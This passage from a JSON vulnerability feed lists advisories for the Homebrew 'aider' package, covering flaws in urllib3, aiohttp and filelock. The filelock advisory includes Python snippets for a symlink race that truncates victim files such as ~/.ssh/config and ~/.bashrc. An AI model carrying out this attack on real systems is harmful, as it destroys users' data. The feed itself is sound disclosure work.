redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-53643","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-9548-qrrj-x5pj","CVE-2025-53643","PYSEC-2026-1104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.12.14","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":" AIOHTTP is vulnerable to HTTP Request/Response Smuggling through incorrect parsing of chunked trailer sections","details":"### Summary\nThe Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9548-qrrj-x5pj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53643"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-66418","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-66471","published":"2026-08-13T16:35:12Z","modified":"2026-09-28T17:52:05Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-68146","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-w853-jp5j-5j7f","CVE-2025-68146","PYSEC-2026-1375"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.20.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@3.20.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"3.20.3","key":"pkg:pypi/filelock@3.20.3","resource":"filelock"}]},"summary":"filelock has a TOCTOU race condition which allows symlink attacks during lock file creation","details":"### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -> None:\n    ensure_directory_exists(self.lock_file)\n    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate\n    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?\n        open_flags |= os.O_CREAT\n    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -> None:\n    raise_on_not_writable_file(self.lock_file)  # (1) Check writability\n    ensure_directory_exists(self.lock_file)\n    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate\n    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file exists? → False\nT1                                             ↓ RACE WINDOW\nT2                                             Create symlink: lock → victim_file\nT3      Open lock_file with O_TRUNC\n        → Follows symlink\n        → Opens victim_file\n        → Truncates victim_file to 0 bytes! ☠️\n```\n\n**Windows variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file writable?\nT1                                             ↓ RACE WINDOW\nT2                                             Create symlink: lock → victim_file\nT3      Open lock_file with O_TRUNC\n        → Follows symlink/junction\n        → Opens victim_file\n        → Truncates victim_file to 0 bytes! ☠️\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\"  # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\"  # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n    # Remove any existing lock file\n    try:\n        os.unlink(lock_path)\n    except FileNotFoundError:\n        pass\n\n    # Create symlink pointing to victim file\n    os.symlink(victim_file, lock_path)\n    print(f\"[Attacker] Created: {lock_path} → {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire()  # ← VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!\n\n    if (flags & O_TRUNC) {\n        truncate_file(f);  // ← Truncates the TARGET of the symlink\n    }\n\n    return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don't Help\n\n**File permissions don't prevent this:**\n\n- Attacker doesn't need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim's* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren't always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn't prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\<100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/3.20.1"},{"type":"WEB","url":"https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"},{"type":"WEB","url":"https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69223","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-6mq8-rvhq-8wgg","CVE-2025-69223","PYSEC-2026-1101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb","details":"### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69224","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-69f9-5gxw-wvc2","CVE-2025-69224","PYSEC-2026-1099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP's unicode processing of header values could cause parsing discrepancies","details":"### Summary\nThe Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69224"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69225","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-mqqc-3gqh-h2x8","CVE-2025-69225","PYSEC-2026-1109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has unicode match groups in regexes for ASCII protocol elements","details":"### Summary\n\nThe parser allows non-ASCII decimals to be present in the Range header.\n\n### Impact\n\nThere is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69225"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69226","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-54jq-c3m8-4m76","CVE-2025-69226","PYSEC-2026-1097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to brute-force leak of internal static ﬁle path components","details":"### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69226"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69227","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-jj3x-wxrx-4x23","CVE-2025-69227","PYSEC-2026-1107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS when bypassing asserts","details":"### Summary\nWhen assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.\n\n### Impact\nIf optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jj3x-wxrx-4x23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69227"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69228","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-6jhg-hg63-jvvf","CVE-2025-69228","PYSEC-2026-1100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to  denial of service through large payloads","details":"### Summary\nA request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.\n\n### Impact\nIf an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6jhg-hg63-jvvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69228"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69229","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-g84x-mcqj-x9qq","CVE-2025-69229","PYSEC-2026-1106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp